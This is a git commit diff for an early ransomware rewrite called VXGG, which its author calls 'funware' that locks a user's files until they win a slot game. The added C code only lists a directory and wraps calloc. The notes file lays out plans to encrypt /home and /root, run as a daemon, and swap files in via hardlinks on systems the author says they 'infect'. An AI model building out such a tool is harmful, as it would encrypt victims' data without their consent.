diff options
| -rw-r--r-- | .gitignore | 4 | ||||
| -rw-r--r-- | .vscode/c_cpp_properties.json | 16 | ||||
| -rw-r--r-- | README.md | 5 | ||||
| -rw-r--r-- | notes.txt | 46 | ||||
| -rw-r--r-- | src/Makefile | 9 | ||||
| -rw-r--r-- | src/main.c | 23 | ||||
| -rw-r--r-- | src/shared.c | 20 | ||||
| -rw-r--r-- | src/shared.h | 14 |
8 files changed, 132 insertions, 5 deletions
| @@ -1,3 +1,5 @@ | |||
| 1 | main | 1 | main |
| 2 | a.out | 2 | a.out |
| 3 | bin/ \ No newline at end of file | 3 | bin/ |
| 4 | *.o | ||
| 5 | *test* \ No newline at end of file | ||
diff --git a/.vscode/c_cpp_properties.json b/.vscode/c_cpp_properties.json new file mode 100644 index 0000000..b88b548 --- /dev/null +++ b/.vscode/c_cpp_properties.json | |||
| @@ -0,0 +1,16 @@ | |||
| 1 | { | ||
| 2 | "configurations": [ | ||
| 3 | { | ||
| 4 | "name": "Linux", | ||
| 5 | "includePath": [ | ||
| 6 | "${workspaceFolder}/**" | ||
| 7 | ], | ||
| 8 | "defines": [], | ||
| 9 | "compilerPath": "/usr/bin/gcc", | ||
| 10 | "cStandard": "gnu23", | ||
| 11 | "cppStandard": "gnu++17", | ||
| 12 | "intelliSenseMode": "linux-gcc-x64" | ||
| 13 | } | ||
| 14 | ], | ||
| 15 | "version": 4 | ||
| 16 | } \ No newline at end of file | ||
| @@ -0,0 +1,5 @@ | |||
| 1 | # VXGG REWRITE | ||
| 2 | |||
| 3 | ## The first attempt was shit, so I did it again | ||
| 4 | |||
| 5 | VX-GAMBLEGROUND, aka VGXX, is a piece of "funware" I wrote. It's ransomware with a twist: it's not meant to completley fuck your system, just temporarily encrypt your stuff until you win a game of slots. The end product, although working, was not great. Because I have recently found myself with freetime and a new unending boredom, I decided I might as well rewrite this into something I could be slightly more proud of | ||
diff --git a/notes.txt b/notes.txt new file mode 100644 index 0000000..fb6f283 --- /dev/null +++ b/notes.txt | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | This is a file of ramblings and notes for what I'm doing | ||
| 2 | |||
| 3 | vxgg originally only encrypted the /home directory and its subdirectories. As of now, I believe it should | ||
| 4 | also encrypt the /root dir as well. Running as a daemon and setting things up in the background may be | ||
| 5 | a good idea as well | ||
| 6 | |||
| 7 | vxgg was not atomic in its encryption, in that if the encryption was in progress and interrupted for whatever reason, the original | ||
| 8 | file would be "irrecoverably" (as in vxgg had no error checking and couldn't tell the difference between an encrypted and | ||
| 9 | unencrypted file other than through filename. You could manually unfuck the file yourself if you had the key, but it would be a | ||
| 10 | long and tedious process) fucked. I can't possibly make the entire operation of reading and writing to a file atomic, but I can | ||
| 11 | make the action of "encrpytion" atomic; or, at least, I can make the encryption seem atomic through a cheat: hard linking. Turns out | ||
| 12 | that you can make a file in /tmp, fill it with a whole bunch of shit, then hardlink it to somewhere else on the drive, and the | ||
| 13 | file's contents will persist after a reboot. The idea here is to open a file in /tmp, write the encrypted contents to it, and then | ||
| 14 | hardlink the encrypted file to the same location as the original, and then delete the original. This way, if the process is | ||
| 15 | interrupted, there is no chance of file loss. The hardlink isn't atomic in terms of being uninterruptable and instant, but the | ||
| 16 | specific order of "encrypt in tmp, hardlink, delete real file" will, at very least, minimize the chances of irrecoverable data loss. | ||
| 17 | I'm trying to encrypt people's drives for fun, not for malicious purposes. The least I can do is make sure I don't lose their data | ||
| 18 | |||
| 19 | The only issue I see with hardlinking is that it's possible that, for some reason (linux pedants), the /home and /tmp folders are | ||
| 20 | not in the same partition/drive. The simple solution I see for now is creating a hidden, root owned, chmod u=rwx,go= folder in | ||
| 21 | /home to store files as they are being encrypted | ||
| 22 | |||
| 23 | Nevermind, another problem I see is that permisions and filetypes may be different. Not that I ever tried vxgg on a symlink, but I | ||
| 24 | wouldn't be surprised if it worked fine (given that all vxgg does is rewrite the contents of a file), but this solution would break | ||
| 25 | those links. If this is a problem, it'll be interesting to see how I should make exact copies of files before encrypting them | ||
| 26 | |||
| 27 | I really need to figure out how to determine if a filesystem is a Large File System (LFS) so I can know whether to use the standard | ||
| 28 | or 64 bit versions of functions | ||
| 29 | |||
| 30 | Ok so supposedly stat and its variants will work with 64 bit systems using LFS fine because of some macro "_FILE_OFFSET_BITS", but | ||
| 31 | I'm not certain if I need to figure this out or what. Also, it's a compile-time thing, and preferably I don't need to compile this | ||
| 32 | on each system I infect, so I still need something else | ||
| 33 | |||
| 34 | mkstemp might be quite a useful function for doing the encrypting thing, but having a template name might be problematic. I may just | ||
| 35 | have to rename everything before linking. Maybe linkat() would work | ||
| 36 | |||
| 37 | ============== LIST OF POTENTIALLY USEFUL GNU C FUNCTIONS ============== | ||
| 38 | scandir() - Gets a list of files in a directory: https://www.gnu.org/software/libc/manual/html_node/Scanning-Directory-Content.html | ||
| 39 | link() - Hardlinks one file to another location: https://www.gnu.org/software/libc/manual/html_node/Hard-Links.html | ||
| 40 | canonicalize_file_name() - Get the canonical filename of some path (removes symlinks, /'s, .'s, and ..'s): https://www.gnu.org/software/libc/manual/html_node/Symbolic-Links.html | ||
| 41 | realpath() - canonicalize_file_name(), but you can put the result directly into a user-allocated string: ^ | ||
| 42 | remove() - Deletes a file or directory according to unlink() and rmdir() respectively: https://www.gnu.org/software/libc/manual/html_node/Deleting-Files.html | ||
| 43 | rename() - Renames a file or directory, atomically: https://www.gnu.org/software/libc/manual/html_node/Renaming-Files.html | ||
| 44 | All of the file attribute related functions: https://www.gnu.org/software/libc/manual/html_node/File-Attributes.html | ||
| 45 | tmpfile() - Creates a temp binary file as if you used fopen: https://www.gnu.org/software/libc/manual/html_node/Temporary-Files.html | ||
| 46 | mkstemp() - Creates a temp file using a name template and opens it for you: ^ | ||
diff --git a/src/Makefile b/src/Makefile index f2f4bf7..d3798bb 100644 --- a/src/Makefile +++ b/src/Makefile | |||
| @@ -20,7 +20,10 @@ BINARIES := main | |||
| 20 | 20 | ||
| 21 | all: main | 21 | all: main |
| 22 | 22 | ||
| 23 | main: main.c | 23 | main: main.o shared.o |
| 24 | 24 | ||
| 25 | clean: | 25 | main.o: main.c shared.h |
| 26 | rm -rvf $(BINARIES) \ No newline at end of file | 26 | shared.o: shared.c shared.h |
| 27 | |||
| 28 | c clean: # huh, didn't think that would work | ||
| 29 | rm -rvf $(BINARIES) $(wildcard *.o) \ No newline at end of file | ||
| @@ -1,7 +1,28 @@ | |||
| 1 | #include "shared.h" | ||
| 2 | |||
| 3 | #include <errno.h> | ||
| 4 | #include <error.h> | ||
| 1 | #include <stdio.h> | 5 | #include <stdio.h> |
| 2 | 6 | ||
| 7 | #include <fcntl.h> | ||
| 8 | #include <dirent.h> | ||
| 9 | |||
| 10 | int testfilter(const struct dirent *node) { | ||
| 11 | return 1; | ||
| 12 | } | ||
| 13 | |||
| 3 | int main() { | 14 | int main() { |
| 4 | printf("We do a little trolling it's called we do a little trolling\nGod help us all\n"); | 15 | // Alright, going to start simple. First: scanning for files. I want to do this quickly and in one motion. No reason to do things in O(n2) time if I can do it in O(n) |
| 16 | |||
| 17 | int nnodes = -1; | ||
| 18 | struct dirent **nodes = NULL; | ||
| 19 | if((nnodes = scandir(".", &nodes, testfilter, alphasort)) < 0) | ||
| 20 | error(1, errno, "scandir broke"); | ||
| 21 | |||
| 22 | for(int i = 0; i < nnodes; i++) { | ||
| 23 | printf("%s\n", nodes[i]->d_name); | ||
| 24 | |||
| 25 | } | ||
| 5 | 26 | ||
| 6 | return 0; | 27 | return 0; |
| 7 | } \ No newline at end of file | 28 | } \ No newline at end of file |
diff --git a/src/shared.c b/src/shared.c new file mode 100644 index 0000000..5e58de0 --- /dev/null +++ b/src/shared.c | |||
| @@ -0,0 +1,20 @@ | |||
| 1 | #include "shared.h" | ||
| 2 | |||
| 3 | #include <stdlib.h> | ||
| 4 | #include <errno.h> | ||
| 5 | #include <error.h> | ||
| 6 | |||
| 7 | void* xcalloc(size_t nmemb, size_t size) { | ||
| 8 | void *mem = calloc(nmemb, size); | ||
| 9 | |||
| 10 | if(mem == NULL) { | ||
| 11 | #if defined ___VXGG___XCALLOC_EXIT_ON_ERROR___ && ___VXGG___XCALLOC_EXIT_ON_ERROR___ > 0 | ||
| 12 | error(1, errno, "<xcalloc> Could not allocate memory"); | ||
| 13 | #endif | ||
| 14 | |||
| 15 | abort(); | ||
| 16 | } | ||
| 17 | |||
| 18 | |||
| 19 | return mem; | ||
| 20 | } \ No newline at end of file | ||
diff --git a/src/shared.h b/src/shared.h new file mode 100644 index 0000000..ac214f7 --- /dev/null +++ b/src/shared.h | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | #ifndef __VXGG_REWRITE___SHARED_H___3880294315821___ | ||
| 2 | #define __VXGG_REWRITE___SHARED_H___3880294315821___ | ||
| 3 | |||
| 4 | #include <stddef.h> | ||
| 5 | |||
| 6 | // Defines how `xcalloc()` should exit. `___VXGG___XCALLOC_EXIT_ON_ERROR___ > 0` calls `error()`, and thus functions registered with | ||
| 7 | // `atexit()` and `on_exit()`. `___VXGG___XCALLOC_EXIT_ON_ERROR___ <= 0` calls `abort()` on error. `xcalloc()` will ALWAYS 'abort', | ||
| 8 | // doing otherwise defeats the purpose of the function | ||
| 9 | #define ___VXGG___XCALLOC_EXIT_ON_ERROR___ 1 | ||
| 10 | |||
| 11 | // `calloc()` with error checking. Calls `error()` or `abort()` on error depending on the value of `___VXGG___XCALLOC_EXIT_ON_ERROR___` | ||
| 12 | void* xcalloc(size_t nmemb, size_t size); | ||
| 13 | |||
| 14 | #endif \ No newline at end of file | ||
